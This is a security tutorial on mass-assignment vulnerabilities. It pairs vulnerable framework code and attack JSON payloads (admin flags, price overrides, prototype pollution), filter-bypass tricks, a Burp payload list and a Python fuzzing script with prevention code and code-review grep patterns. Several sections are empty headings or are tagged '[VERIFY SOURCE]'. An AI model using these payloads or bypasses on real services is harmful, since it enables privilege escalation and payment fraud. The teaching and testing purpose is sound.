Back to Attack Flows

Table of Contents

What is Mass Assignment?

Mass Assignment (also known as Auto-binding or Over-posting) is a vulnerability that occurs when an application automatically binds user input to internal object properties without proper filtering. This allows attackers to modify object properties that should not be user-controllable, such as:

Why is it Critical?

Mass Assignment is a common vulnerability in modern web frameworks and remains part of the OWASP Top 10 under API Security risks (#06 - Mass Assignment in OWASP API Top 10 2023). It's critical because:

How Mass Assignment Works

The Vulnerable Pattern

Mass assignment occurs when frameworks automatically bind request parameters to object properties:

# VULNERABLE CODE - Ruby on Rails
class UsersController < ApplicationController
  def create
    # Mass assignment without filtering!
    @user = User.new(params[:user])
    @user.save
  end
end

# User model
class User < ActiveRecord::Base
  # Attributes: username, email, password, is_admin
end

The Attack

An attacker adds extra parameters to the request that modify sensitive fields:

# Normal registration request:
POST /users
{
  "user": {
    "username": "alice",
    "email": "alice@example.com",
    "password": "secret123"
  }
}

# Malicious request with mass assignment:
POST /users
{
  "user": {
    "username": "hacker",
    "email": "hacker@evil.com",
    "password": "hacked",
    "is_admin": true,          # ⚠️ Privilege escalation!
    "role": "administrator",   # ⚠️ Role manipulation!
    "verified": true           # ⚠️ Bypass verification!
  }
}

# Result: Account created with admin privileges!

Framework-Specific Examples

1. Ruby on Rails (Before Strong Parameters)

# VULNERABLE
def update
  @user = User.find(params[:id])
  @user.update_attributes(params[:user])
end

# Attack: POST user[is_admin]=true

2. Django (Without Field Restrictions)

# VULNERABLE
def register(request):
    form_data = request.POST.dict()
    user = User(**form_data)  # Unpacks all POST parameters!
    user.save()

# Attack: POST with is_staff=True

3. Express.js with Mongoose

// VULNERABLE
app.post('/api/users', async (req, res) => {
  // Direct assignment of all request body properties
  const user = new User(req.body);
  await user.save();
});

// User Schema
const userSchema = new Schema({
  username: String,
  email: String,
  password: String,
  isAdmin: Boolean,  // ⚠️ Can be set via req.body!
  credits: Number    // ⚠️ Can be manipulated!
});

// Attack: POST with {"isAdmin": true, "credits": 999999}

4. ASP.NET MVC

// VULNERABLE
[HttpPost]
public ActionResult Create(User user)
{
    // Auto-binding from form fields
    db.Users.Add(user);
    db.SaveChanges();
    return View(user);
}

// User model
public class User
{
    public string Username { get; set; }
    public string Email { get; set; }
    public string Password { get; set; }
    public bool IsAdmin { get; set; }  // ⚠️ Can be bound!
}

// Attack: POST with IsAdmin=true in form data

Advanced Attack Techniques

1. Privilege Escalation Attacks

// Common privilege fields to target
{
  "is_admin": true,
  "is_staff": true,
  "role": "admin",
  "role_id": 1,
  "admin": 1,
  "superuser": true,
  "privileges": ["admin", "delete_users"],
  "permission_level": 99,
  "user_type": "administrator"
}

2. Parameter Pollution to Discover Fields

Attackers can discover hidden fields by trying common attribute names:

# Automated field discovery
curl -X POST http://example.com/api/users \
  -d "username=test" \
  -d "email=test@test.com" \
  -d "is_admin=true" \
  -d "admin=1" \
  -d "role=admin" \
  -d "superuser=true" \
  -d "verified=true" \
  -d "approved=true" \
  -d "status=active"

# Check which fields were accepted in the response

3. Account Takeover via Email/Username Change

// Update own profile, but change email to another user's
PATCH /api/users/123
{
  "email": "victim@example.com",  // ⚠️ Steal another account
  "username": "admin",            // ⚠️ Username hijacking
  "user_id": 1                    // ⚠️ Change own ID to admin's
}

4. Price Manipulation in E-commerce

// Add to cart with manipulated price
POST /api/cart/add
{
  "product_id": 123,
  "quantity": 1,
  "price": 0.01,        // ⚠️ Should be server-calculated!
  "discount": 99,       // ⚠️ Unauthorized discount
  "is_free": true,      // ⚠️ Free items
  "vip_discount": true  // ⚠️ Fake VIP status
}

5. Nested Object Injection

// Manipulate nested relationships
POST /api/posts
{
  "title": "My Post",
  "content": "Hello World",
  "author": {
    "id": 1,            // ⚠️ Claim authorship as admin
    "is_verified": true
  },
  "metadata": {
    "featured": true,   // ⚠️ Auto-feature the post
    "pinned": true,
    "views": 999999     // ⚠️ Fake popularity
  }
}

6. Timestamp Manipulation

// Backdating or future-dating records
POST /api/orders
{
  "items": [...],
  "created_at": "2020-01-01T00:00:00Z",  // ⚠️ Fake old order
  "updated_at": "2025-01-01T00:00:00Z",  // ⚠️ Future date
  "expires_at": "2099-12-31T23:59:59Z"   // ⚠️ Never expires
}

7. Array/Collection Manipulation

// Adding unauthorized items to collections
POST /api/user/123/update
{
  "username": "user123",
  "permissions": ["read", "write", "admin", "delete_all"],  // ⚠️ Extra perms
  "groups": [1, 2, 3, 99],  // ⚠️ Add to admin group (ID 99)
  "followed_by": [1, 2, 3]  // ⚠️ Fake follower count
}

8. [VERIFY SOURCE] Prototype Pollution via Mass Assignment

In JavaScript/Node.js environments, mass assignment can lead to prototype pollution:

// Malicious request
POST /api/users
{
  "username": "attacker",
  "__proto__": {
    "isAdmin": true  // ⚠️ Pollutes Object.prototype
  },
  "constructor": {
    "prototype": {
      "isAdmin": true  // ⚠️ Alternative pollution
    }
  }
}

// Now ALL objects inherit isAdmin: true!

Defense Bypass Strategies

Bypassing Weak Blacklists

1. Case Variation

// If "is_admin" is blacklisted, try:
{
  "Is_Admin": true,
  "IS_ADMIN": true,
  "Is_admin": true,
  "isAdmin": true,     // camelCase variant
  "is-admin": true     // kebab-case variant
}

2. Alternative Field Names

// Different naming conventions for same field
{
  "admin": true,
  "is_admin": true,
  "isAdmin": true,
  "role": "admin",
  "user_role": "admin",
  "role_id": 1,
  "permission": "admin",
  "user_type": 1
}

3. Nested Path Traversal

// Try accessing fields via nested paths
{
  "user": {
    "is_admin": true
  },
  "profile": {
    "user": {
      "is_admin": true
    }
  },
  "user.is_admin": true,
  "user[is_admin]": true
}

Bypassing Partial Whitelists

1. Parameter Injection in Updates

# If create() is protected but update() is not:
# Step 1: Create normal account
POST /api/users
{
  "username": "hacker",
  "email": "hacker@evil.com"
}

# Step 2: Update with privileged fields
PATCH /api/users/123
{
  "is_admin": true  # ⚠️ May work if update lacks protection
}

2. Exploiting Different Endpoints

# Check multiple endpoints for same resource:
POST /api/users           # Protected
POST /users               # May be unprotected
POST /api/v1/users        # Different version
POST /admin/users         # Admin endpoint
PUT /api/users/123        # Update vs Create
PATCH /api/users/123      # Partial update

Bypassing Content-Type Restrictions

1. JSON vs Form Data

# If JSON is protected, try form-encoded:
curl -X POST http://example.com/api/users \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=hacker&is_admin=true"

# Or try multipart form data:
curl -X POST http://example.com/api/users \
  -F "username=hacker" \
  -F "is_admin=true"

2. XML Parameter Entities [VERIFY SOURCE]


POST /api/users
Content-Type: application/xml

<user>
  <username>hacker</username>
  <email>hacker@evil.com</email>
  <is_admin>true</is_admin>
</user>

Prevention & Mitigation

1. Use Whitelisting (Allow Lists)

THE PRIMARY DEFENSE

Ruby on Rails - Strong Parameters

# ✅ SECURE: Only permit specific fields
class UsersController < ApplicationController
  def create
    @user = User.new(user_params)
    @user.save
  end
  
  private
  
  def user_params
    # Explicitly whitelist allowed parameters
    params.require(:user).permit(:username, :email, :password)
    # is_admin, role, etc. are NOT permitted
  end
end

Django - Model Forms with Explicit Fields

# ✅ SECURE: Use forms with explicit field lists
from django import forms
from .models import User

class UserRegistrationForm(forms.ModelForm):
    class Meta:
        model = User
        # Only allow these fields
        fields = ['username', 'email', 'password']
        # Alternatively, exclude sensitive fields:
        # exclude = ['is_staff', 'is_admin', 'is_superuser']

def register(request):
    if request.method == 'POST':
        form = UserRegistrationForm(request.POST)
        if form.is_valid():
            user = form.save()
            return redirect('success')

Express.js - Manual Field Selection

// ✅ SECURE: Manually pick allowed fields
app.post('/api/users', async (req, res) => {
  // Only extract whitelisted fields
  const userData = {
    username: req.body.username,
    email: req.body.email,
    password: req.body.password
  };
  
  const user = new User(userData);
  await user.save();
  res.json(user);
});

// Alternative: Use a library like 'lodash'
const _ = require('lodash');
const allowedFields = ['username', 'email', 'password'];
const userData = _.pick(req.body, allowedFields);

ASP.NET - Bind Attribute

// ✅ SECURE: Use [Bind] to whitelist properties
[HttpPost]
public ActionResult Create([Bind(Include = "Username,Email,Password")] User user)
{
    if (ModelState.IsValid)
    {
        db.Users.Add(user);
        db.SaveChanges();
        return RedirectToAction("Index");
    }
    return View(user);
}

// Alternative: Use ViewModels/DTOs (better approach)
public class UserRegistrationViewModel
{
    public string Username { get; set; }
    public string Email { get; set; }
    public string Password { get; set; }
    // No IsAdmin property - can't be bound!
}

2. Use DTOs (Data Transfer Objects)

Create separate classes for input that only contain safe fields:

// Java example
// ✅ SECURE: Separate DTO from entity

// User entity (internal model)
@Entity
public class User {
    private Long id;
    private String username;
    private String email;
    private String password;
    private Boolean isAdmin;  // Sensitive field
    // getters/setters
}

// User registration DTO (external input)
public class UserRegistrationDTO {
    private String username;
    private String email;
    private String password;
    // No isAdmin field - can't be set from outside!
    // getters/setters
}

// Controller
@PostMapping("/api/users")
public User createUser(@RequestBody UserRegistrationDTO dto) {
    User user = new User();
    user.setUsername(dto.getUsername());
    user.setEmail(dto.getEmail());
    user.setPassword(passwordEncoder.encode(dto.getPassword()));
    user.setIsAdmin(false);  // Set internally, never from input
    return userRepository.save(user);
}

3. Disable Auto-Binding for Sensitive Models

# Rails - Use attr_accessible or attr_protected
class User < ActiveRecord::Base
  # Old Rails (before strong parameters)
  attr_accessible :username, :email, :password
  # is_admin is NOT accessible for mass assignment
end
# Django - Disable auto-binding by using explicit assignment
def create_user(request):
    user = User()
    user.username = request.POST.get('username')
    user.email = request.POST.get('email')
    user.password = make_password(request.POST.get('password'))
    # is_staff is NOT set from input
    user.is_staff = False  # Set explicitly
    user.save()

4. Framework-Specific Protections

Mongoose (Node.js) - Strict Schema

// ✅ SECURE: Use strict mode and select fields
const userSchema = new Schema({
  username: String,
  email: String,
  password: String,
  isAdmin: { type: Boolean, default: false }
}, { 
  strict: 'throw'  // Throw error on unknown fields
});

// Mark sensitive fields as immutable or private
const userSchema = new Schema({
  isAdmin: { type: Boolean, default: false, immutable: true },
  credits: { type: Number, default: 0, select: false }
});

Express - Use Validation Libraries

// ✅ SECURE: Use express-validator
const { body, validationResult } = require('express-validator');

app.post('/api/users',
  // Validate and sanitize only expected fields
  body('username').isAlphanumeric().trim().escape(),
  body('email').isEmail().normalizeEmail(),
  body('password').isLength({ min: 8 }),
  
  async (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    
    // Only use validated fields
    const user = new User({
      username: req.body.username,
      email: req.body.email,
      password: await hashPassword(req.body.password)
    });
    await user.save();
  }
);

5. Input Validation and Type Checking

# Python with Pydantic
from pydantic import BaseModel, validator

class UserCreate(BaseModel):
    username: str
    email: str
    password: str
    
    # No is_admin field - won't be accepted
    
    @validator('username')
    def username_alphanumeric(cls, v):
        assert v.isalnum(), 'must be alphanumeric'
        return v

# FastAPI automatically validates
@app.post("/api/users")
async def create_user(user: UserCreate):
    # user.is_admin won't exist - validation error if provided
    new_user = User(**user.dict())
    new_user.is_admin = False  # Set server-side
    db.add(new_user)

6. Security Testing

7. Principle of Least Privilege

# ✅ Set sensitive fields server-side only
def create_user(validated_data):
    user = User(**validated_data)
    user.is_admin = False  # Always false for new users
    user.created_at = datetime.now()  # Server time, not user input
    user.account_balance = 0.0  # Start at zero
    user.verified = False  # Requires verification process
    user.save()
    return user

Detection & Testing

Manual Testing Techniques

1. Add Unauthorized Parameters

# Test every endpoint that accepts user input
# Original request:
POST /api/users
{
  "username": "test",
  "email": "test@test.com"
}

# Add common privilege fields:
POST /api/users
{
  "username": "test",
  "email": "test@test.com",
  "is_admin": true,
  "role": "admin",
  "admin": 1,
  "is_staff": true
}

# Check if any were saved in the response or database

2. Field Discovery

# Download the JavaScript/HTML source
curl https://example.com/register.js

# Look for model definitions, hidden fields, API schemas
grep -i "admin\|role\|privilege\|staff" register.js

# Check API documentation/Swagger
curl https://example.com/api/docs

# Try introspection endpoints
GET /api/users/schema
GET /api/openapi.json

3. Test Different HTTP Methods

# Try mass assignment on all CRUD operations
POST /api/users          # Create
PUT /api/users/123       # Full update
PATCH /api/users/123     # Partial update
GET /api/users/123       # Sometimes accepts query params

# Test with privileged fields in each

4. Response Analysis

// Check if injected fields appear in response
POST /api/users
{
  "username": "test",
  "is_admin": true
}

// Response might reveal if field was accepted:
{
  "id": 123,
  "username": "test",
  "is_admin": true,  // ⚠️ Field accepted!
  "created_at": "2024-01-01T00:00:00Z"
}

// Or error might reveal field existence:
{
  "error": "Field 'is_admin' cannot be set by users"
  // ⚠️ Field exists but is protected
}

Automated Testing Tools

Burp Suite

# Burp Intruder payload list for mass assignment:
is_admin=true
admin=1
role=admin
is_staff=true
superuser=true
verified=true
approved=true
role_id=1
permission=admin
user_type=administrator

OWASP ZAP

# ZAP active scan with mass assignment checks
zap-cli active-scan -r http://example.com

# Custom fuzzer configuration for mass assignment
# Add common admin fields to all POST/PUT/PATCH requests

Custom Scripts

# Python script to test mass assignment
import requests

base_url = "http://example.com/api"
test_fields = [
    "is_admin", "admin", "role", "is_staff", 
    "superuser", "verified", "approved", "role_id"
]

def test_mass_assignment(endpoint, normal_data):
    # Test each privileged field
    for field in test_fields:
        data = normal_data.copy()
        data[field] = True  # or "admin", 1, etc.
        
        response = requests.post(f"{base_url}/{endpoint}", json=data)
        
        # Check if field appears in response
        if field in response.text.lower():
            print(f"⚠️  VULNERABLE: {field} was accepted at {endpoint}")
            print(f"Response: {response.json()}")

# Test registration
test_mass_assignment("users", {
    "username": "testuser",
    "email": "test@test.com",
    "password": "Test123!"
})

Code Review Patterns

Search for these vulnerable patterns in source code:

# Ruby on Rails
grep -r "params\[:user\]" app/controllers/
grep -r "\.new(params" app/controllers/
grep -r "update_attributes(params" app/

# Python Django
grep -r "\*\*request.POST" .
grep -r "\.dict()" . | grep -i request
grep -r "request.POST\[" .

# JavaScript/Node.js
grep -r "req.body" . | grep -i "new "
grep -r "Object.assign.*req.body" .
grep -r "\.create(req.body" .

# Java
grep -r "@RequestBody.*Entity" .
grep -r "modelAttribute" .

# Look for lack of whitelisting
grep -r "permit" app/controllers/  # Rails strong params
grep -r "fields = " .  # Django form fields
grep -r "\[Bind\]" .  # ASP.NET

Testing Checklist

Real-World Examples

Notable Incidents [VERIFY SOURCE]

1. GitHub (2012)

2. Ruby on Rails (2012) - Widespread Framework Issue

3. HackerOne Reports - E-commerce Price Manipulation

4. Mobile Apps - API Mass Assignment

Bug Bounty Statistics [VERIFY SOURCE]

Common Vulnerable Scenarios

1. User Registration/Profile Updates

// Vulnerable user creation
POST /api/register
{
  "username": "attacker",
  "email": "attacker@evil.com",
  "is_admin": true,        // ⚠️ Instant admin access
  "verified": true,        // ⚠️ Skip email verification
  "account_balance": 9999  // ⚠️ Free money
}

2. E-commerce Checkout

// Price manipulation during order
POST /api/orders
{
  "items": [
    {
      "product_id": 123,
      "quantity": 1,
      "price": 0.01,      // ⚠️ Was $999.99
      "discount_pct": 100 // ⚠️ 100% off
    }
  ],
  "total": 0.01,          // ⚠️ Override total
  "paid": true            // ⚠️ Mark as already paid
}

3. Social Media/Content Platforms

// Post creation with manipulation
POST /api/posts
{
  "content": "My post",
  "author_id": 1,         // ⚠️ Post as admin
  "featured": true,       // ⚠️ Auto-feature
  "verified": true,       // ⚠️ Verified badge
  "likes": 999999,        // ⚠️ Fake engagement
  "created_at": "2020-01-01"  // ⚠️ Backdating
}

4. API Integrations

// OAuth/API token creation
POST /api/tokens
{
  "name": "My App",
  "scopes": ["read", "write", "admin", "delete"],  // ⚠️ Excessive scopes
  "expires_at": "2099-12-31",  // ⚠️ Never expires
  "rate_limit": 999999         // ⚠️ Unlimited requests
}

5. SaaS/Multi-tenant Applications

// Organization/tenant settings
PATCH /api/organizations/123
{
  "name": "My Org",
  "plan": "enterprise",   // ⚠️ Upgrade to premium
  "max_users": 999999,    // ⚠️ Unlimited users
  "features": ["all"],    // ⚠️ All features enabled
  "billing_exempt": true  // ⚠️ No billing
}

Quick Reference

Common Vulnerable Fields to Test

// Privilege/Role fields
{
  "is_admin": true,
  "admin": 1,
  "is_staff": true,
  "is_superuser": true,
  "role": "admin",
  "role_id": 1,
  "user_role": "administrator",
  "permission": "admin",
  "permissions": ["admin", "delete"],
  "user_type": 1,
  "privilege_level": 99
}

// Account status fields
{
  "verified": true,
  "approved": true,
  "active": true,
  "enabled": true,
  "status": "active",
  "account_status": "verified"
}

// Financial fields
{
  "price": 0.01,
  "discount": 100,
  "credits": 999999,
  "balance": 999999,
  "account_balance": 999999,
  "paid": true,
  "is_free": true,
  "premium": true,
  "subscription_active": true
}

// Identity fields
{
  "user_id": 1,
  "id": 1,
  "email": "victim@example.com",
  "username": "admin",
  "owner_id": 1
}

// Metadata fields
{
  "created_at": "2020-01-01T00:00:00Z",
  "updated_at": "2099-12-31T23:59:59Z",
  "expires_at": "2099-12-31T23:59:59Z",
  "views": 999999,
  "likes": 999999,
  "followers": 999999,
  "featured": true,
  "pinned": true
}

Testing Checklist

Prevention Checklist

Quick Test Commands

# Burp Suite Intruder payload file (admin_fields.txt)
is_admin=true
admin=1
role=admin
is_staff=true
verified=true

# cURL test for mass assignment
curl -X POST https://example.com/api/users \
  -H "Content-Type: application/json" \
  -d '{
    "username": "test",
    "email": "test@test.com",
    "password": "Test123!",
    "is_admin": true,
    "role": "admin"
  }'

# Python quick test script
import requests
r = requests.post('https://example.com/api/users', json={
    'username': 'test', 'is_admin': True
})
print('is_admin' in r.text)  # Check if field was accepted

# Check if field exists in response
curl -X POST https://example.com/api/users \
  -d "username=test&is_admin=true" | grep -i admin

Code Review Regex Patterns

# Find vulnerable patterns
# Rails
grep -rn "params\[:.*\])" --include="*.rb"
grep -rn "\.new(params" --include="*.rb"

# Django
grep -rn "\*\*request\.\(POST\|GET\|data\)" --include="*.py"

# Express/Node
grep -rn "new.*\(req\.body\)" --include="*.js"
grep -rn "\.create(req\.body" --include="*.js"

# ASP.NET
grep -rn "\[HttpPost\]" --include="*.cs" | grep -v "\[Bind"

Resources